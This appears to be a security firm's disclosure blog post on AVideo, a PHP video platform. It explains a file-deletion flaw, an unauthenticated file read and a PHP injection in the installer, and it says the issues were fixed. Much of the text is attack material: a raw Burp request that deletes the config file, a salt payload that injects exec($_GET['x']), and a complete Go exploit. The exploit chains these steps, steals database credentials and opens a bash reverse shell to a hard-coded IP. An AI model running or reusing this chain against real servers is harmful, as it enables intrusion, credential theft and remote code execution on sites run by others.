In this article, we will cover security issues in the AVideo open-source project that led to RCE. We contacted the project manager, and the security issues were fixed.

Introduction

What is AVideo (Audio Video Platform)?

AVideo is a term that means absolutely nothing, or anything related to video. The brand is simply identifiable with audio and video. AVideo Platform is an Audio and Video Platform or simply “A Video Platform”.

The project is written in PHP and has more than 1k stars on GitHub and over 4k live websites. We conducted a pentest for a client using AVideo in a live production environment.

The project is intriguing with many functions and files, so we started working on the platform to create a threat model.

Technical Details

After examining the project internals, we took a few notes that included:

  • There are two roles in the system: Admin and User.
  • The permissions check depends on the User::isAdmin() method.
  • The system is vulnerable to XSS and CSRF.
  • The admin user can upload PHP files!
  • There are weak spots in some areas.

Privilege Escalation

During the source code review phase, we found a lot of interesting endpoints. After taking a deep look into the source code, we found an interesting file (objects/import.json.php):

<?php
global $global, $config;
if(!isset($global['systemRootPath'])){
    require_once '../videos/configuration.php';
}
header('Content-Type: application/json');

if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
    return false;
}

$obj = new stdClass();

$obj->error = true;

$obj->fileURI = pathinfo($_POST['fileURI']);

//get description
$filename = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['filename'];
$extensions = array('txt', 'html', 'htm');

$length = intval($_POST['length']);
if(empty($length) || $length>100){
    $length = 100;
}

foreach ($extensions as $value) {
    $_POST['description'] = "";
    $_POST['title'] = "";
    if(file_exists("{$filename}.{$value}")){
        $html = file_get_contents("{$filename}.{$value}");
        $breaks = array("<br />","<br>","<br/>");  
        $html = str_ireplace($breaks, "\r\n", $html);
        $_POST['description'] = $html;
        $cleanHTML = strip_tags($html);
        $_POST['title'] = substr($cleanHTML, 0, $length);
        break;
    }
}
$tmpDir = sys_get_temp_dir();
$tmpFileName = $tmpDir.DIRECTORY_SEPARATOR.$obj->fileURI['filename'];
$source = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['basename'];

if (!copy($source, $tmpFileName)) {
    $obj->msg = "failed to copy $filename...\n";
    die(json_encode($obj));
}

if(!empty($_POST['delete']) && $_POST['delete']!=='false'){
    if(is_writable($source)){
        unlink($source);
        foreach ($extensions as $value) {
            if(file_exists("{$filename}.{$value}")){
                unlink("{$filename}.{$value}");
            }
        }
    }else{
        $obj->msg = "Could not delete $source...\n";
    }
}

$_FILES['upl']['error'] = 0;
$_FILES['upl']['name'] = $obj->fileURI['basename'];
$_FILES['upl']['tmp_name'] = $tmpFileName;
$_FILES['upl']['type'] = "video/mp4";
$_FILES['upl']['size'] = filesize($tmpFileName);

require_once $global['systemRootPath'] . 'view/mini-upload-form/upload.php';

echo json_encode($obj);

As you can see, the check is being done with the following code:

if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
    return false;
}

If the user can upload video and doNotShowImportMP4Button is disabled, we can proceed to the next lines.

The vulnerable line is the following at line 51:

if (unlink($source);

Why?

The unlink function is designed to delete files, and AVideo provides a way to reset the web application by deleting the config file at /videos/configuration.php.

The $source variable is the file path that has been aggregated at line 42:

$source = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['basename']; // source = dir + filename

fileURI is an array that has been assigned at line 16:

$obj->fileURI = pathinfo($_POST['fileURI']); // fileURI=../video/configuration.php

So, to delete the config file, we have to send a POST request to the import.json.php file. We must include a value for $_POST['delete'] to access the code block of the vulnerable line.

There are 2 scenarios to exploit this issue to escalate the user’s privilege:

  1. User with upload permission while the doNotShowImportMP4Button option is disabled.
  2. Admin user with disabled dangerous functions (like uploading PHP files) in case of $global['disableAdvancedConfigurations'] = 1; It is like safe mode where the admin can do nothing harmful to the server.

As a result, we created a user with upload permission and disabled the doNotShowImportMP4Button. We sent the following request using Burp Suite:

POST /avideo/objects/import.json.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: http127001avideo=6t52ec7dsiojanu6feim3bg8ml;
Connection: close
Content-Length: 44

delete=1&fileURI=../videos/configuration.php

After sending the request, the file was deleted, and we got redirected to the install page!

We filed a bug, but there is more!

File Inclusion

If you were able to reproduce the previous vulnerability, there are two points you should consider:

  1. What if MySQL credentials are not the default?
  2. What if you can’t initiate a remote SQL connection?

Under those circumstances, we need to find the current database credentials. And that’s what we did!

We scanned the plugin folder to find interesting functions and found something in /plugin/LiveLinks/proxy.php:

<?php

require_once '../../videos/configuration.php';
session_write_close();
try {
    $global['mysqli']->close();
} catch (Exception $exc) {
    //echo $exc->getTraceAsString();
}

/*
* this file is to handle HTTP URLs into HTTPS
*/
if (!filter_var($_GET['livelink'], FILTER_VALIDATE_URL)) {
    echo "Invalid Link";
    exit;
}
header("Content-Type: video/vnd.mpegurl");
header("Content-Disposition: attachment;filename=playlist.m3u");
$content = url_get_contents($_GET['livelink']);
$pathinfo = pathinfo($_GET['livelink']); 
foreach (preg_split("/((\r?\n)|(\r\n?))/", $content) as $line) {
    $line = trim($line);
    if (!empty($line) && $line[0] !== "#") {
        if (!filter_var($line, FILTER_VALIDATE_URL)) {
            if(!empty($pathinfo["extension"])){
                $_GET['livelink'] = str_replace($pathinfo["basename"], "", $_GET['livelink']);
            }
            $line = $_GET['livelink'].$line;
        }
    }
    echo $line.PHP_EOL;
}

The line below is vulnerable to File Inclusion:

$content = url_get_contents($_GET['livelink']);

Moreover, there are no authentication checks, so anyone can exploit this issue by sending a GET request to the PHP file.

We must bypass the check in the following code:

if (!filter_var($_GET['livelink'], FILTER_VALIDATE_URL)) {
    echo "Invalid Link";
    exit;
}

We only need a valid URL with any URI scheme (file://, ftp://, php://, etc.). In this case, we can read the configuration.php file using the file URI scheme (file:///C:/xampp/htdocs/AVideo/videos/configuration.php).

We have the database credentials now :)

Remote Code Execution

We can achieve RCE using plugin upload. If the permissions are limited for the plugin folder, we found another way to execute PHP code using the install folder. In /install/checkConfiguration.php, there is a way to inject PHP code into the configuration.php file.

if(empty($_POST['salt'])){
    $_POST['salt'] = uniqid();
}
$content = "<?php
\$global['configurationVersion'] = 2;
\$global['disableAdvancedConfigurations'] = 0;
\$global['videoStorageLimitMinutes'] = 0;
if(!empty(\$_SERVER['SERVER_NAME']) && \$_SERVER['SERVER_NAME']!=='localhost' && !filter_var(\$_SERVER['SERVER_NAME'], FILTER_VALIDATE_IP)) { 
    // get the subdirectory, if exists
    \$subDir = str_replace(array(\$_SERVER[\"DOCUMENT_ROOT\"], 'videos/configuration.php'), array('',''), __FILE__);
    \$global['webSiteRootURL'] = \"http\".(!empty(\$_SERVER['HTTPS'])?\"s\":\"\").\"://\".\$_SERVER['SERVER_NAME'].\$subDir;
}else{
    \$global['webSiteRootURL'] = '{$_POST['webSiteRootURL']}';
}
\$global['systemRootPath'] = '{$_POST['systemRootPath']}';
\$global['salt'] = '{$_POST['salt']}'; // RCE at this line 
\$global['disableTimeFix'] = 0;
\$global['enableDDOSprotection'] = 1;
\$global['ddosMaxConnections'] = 40;

We just need to pass $_POST['salt'] as: 123'; exec($_GET["x"]);//

Then visit http://127.0.0.1/avideo/videos/configuration.php?x=[OS_COMMAND_HERE]

Now, we can execute system commands on the server!

Exploit

Now it’s time to combine all of these findings to gain a shell on the vulnerable system. First, you must turn off doNotShowImportMP4Button for the exploit to work.

You can find the exploit on GitHub here or copy it from below:

package main

import (
    "encoding/json"
    "io/ioutil"
    "net/http"
    "net/url"
    "os"
    "strings"

    "github.com/fatih/color"
)

type credential struct {
    mysqlHost string
    mysqlUser string
    mysqlPass string
}

type advancedCustom struct {
    DoNotShowImportMP4Button bool
}

type cookie struct {
    name  string
    value string
}

func checkRequirments(link string) bool {
    var setting advancedCustom
    rs, err := http.Get(link + "plugin/CustomizeAdvanced/advancedCustom.json.php")
    if err != nil {
        color.Red("[x] Unable to check requirements")
        panic(err)
    }
    defer rs.Body.Close()
    jsonRes, err := ioutil.ReadAll(rs.Body)
    if err != nil {
        panic(err)
    } else {
        json.Unmarshal(jsonRes, &setting)

        if setting.DoNotShowImportMP4Button {
            return false
        } else {
            return true
        }

    }
}

func login2cookie(link string, user string, password string) cookie {

    var c cookie
    resp, err := http.PostForm(link+"objects/login.json.php",
        url.Values{"user": {user}, "pass": {password}, "rememberme": {"false"}})

    if err != nil {
        color.Red("[x] Unable to login")
        panic(err)
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    stringBody := string(body)
    user = strings.Split(strings.Split(stringBody, "\"user\":")[1], ",")[0]

    if user == "false" {

        color.Red("[x] Unable to login (wrong username/password)")
        os.Exit(1)
    }
    for _, cookie := range resp.Cookies() {
        if cookie.Name != "user" && cookie.Name != "pass" && cookie.Name != "rememberme" {
            c.name = cookie.Name
            c.value = cookie.Value
        }
    }

    color.Green("[x] Logged in successfully!")

    return c
}

func readConfig(link string) credential {

    var cred credential
    // File path is set to ubuntu change it based on the server os and filename
    resp, err := http.Get(link + "plugin/LiveLinks/proxy.php?livelink=file:///C:/xampp/htdocs/AVideo/videos/configuration.php")
    if err != nil {
        color.Red("[X] Unable to read config file")
        panic(err)
    }

    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    stringBody := string(body)
    cred.mysqlHost = strings.Split(strings.Split(stringBody, "$mysqlHost = '")[1], "'")[0]
    cred.mysqlUser = strings.Split(strings.Split(stringBody, "$mysqlUser = '")[1], "'")[0]
    cred.mysqlPass = strings.Split(strings.Split(stringBody, "$mysqlPass = '")[1], "'")[0]

    color.Green("[X] Config file has been read!")

    return cred
}

func deleteConfig(link string, c cookie) {

    client := &http.Client{}
    PostData := strings.NewReader("delete=1&fileURI=../videos/configuration.php")

    req, err := http.NewRequest("POST", link+"objects/import.json.php", PostData)

    // Set cookie
    req.Header.Set("Cookie", c.name+"="+c.value)

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    _, err = client.Do(req)
    if err != nil {
        color.Red("[x] Unable to delete config file!")
        panic(err)
    }

    color.Green("[x] Config file has been deleted!")

}

func injectCode(link string, cred credential) {

    rceCode := "x';echo exec($_GET[\"x\"]); ?>" // PHP code that will be injected in the configuration file

    client := &http.Client{}

    // Change systemRootPath based on the OS
    PostData := strings.NewReader(`webSiteRootURL=` + link + `&systemRootPath=/var/www/html/avideo/&webSiteTitle=AVideo&databaseHost=` + cred.mysqlHost + `&databasePort=3306&databaseUser=` + cred.mysqlUser + `&databasePass=` + cred.mysqlPass + `&databaseName=aVideo212&mainLanguage=en&systemAdminPass=123456&contactEmail=tes@test.com&createTables=2&salt=` + rceCode)

    req, err := http.NewRequest("POST", link+"install/checkConfiguration.php", PostData)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    _, err = client.Do(req)

    if err != nil {
        color.Red("[x] Unable to inject code!")
        panic(err)
    }

    color.Green("[x] Code has been injected into the config file!")

    // Initiate the reverse shell (reverse shell)

    _, err = http.Get(link + "videos/configuration.php?x=%2Fbin%2Fbash -c 'bash -i > %2Fdev%2Ftcp%2F192.168.153.138%2F8080 0>%261'%0A")
    if err != nil {
        color.Red("[X] Unable to send request!")
        panic(err)
    }
    color.Green("[x] Check your nc ;)")

}

func main() {
    var reqCookie cookie
    var dbCredential credential

    args := os.Args[1:]

    if len(args) < 3 {
        color.Red("Missing arguments")
        os.Exit(1)
    }

    url := args[0] // link
    u := args[1]   // username
    p := args[2]   // password

    // Check doNotShowImportMP4Button status
    if !checkRequirments(url) {
        color.Red("[x] doNotShowImportMP4Button is not disabled! exploit won't work :( if you are admin disable it from advancedCustom plugin")
        os.Exit(1)
    }

    // Get database credentials
    dbCredential = readConfig(url)

    // Get user cookie
    reqCookie = login2cookie(url, u, p)

    // Delete config
    deleteConfig(url, reqCookie)

    // Inject PHP code
    injectCode(url, dbCredential)

}

Usage

go run AVideo3xploit.go http://[target]/avideo/ username password

Tested on Ubuntu latest version, result:

New Project Idea

We will publish the static analyzer that we created during the pentest here.

What Now?

If you think your site/app/network is secure and want to ensure it, give us a call at contact@cube01.io.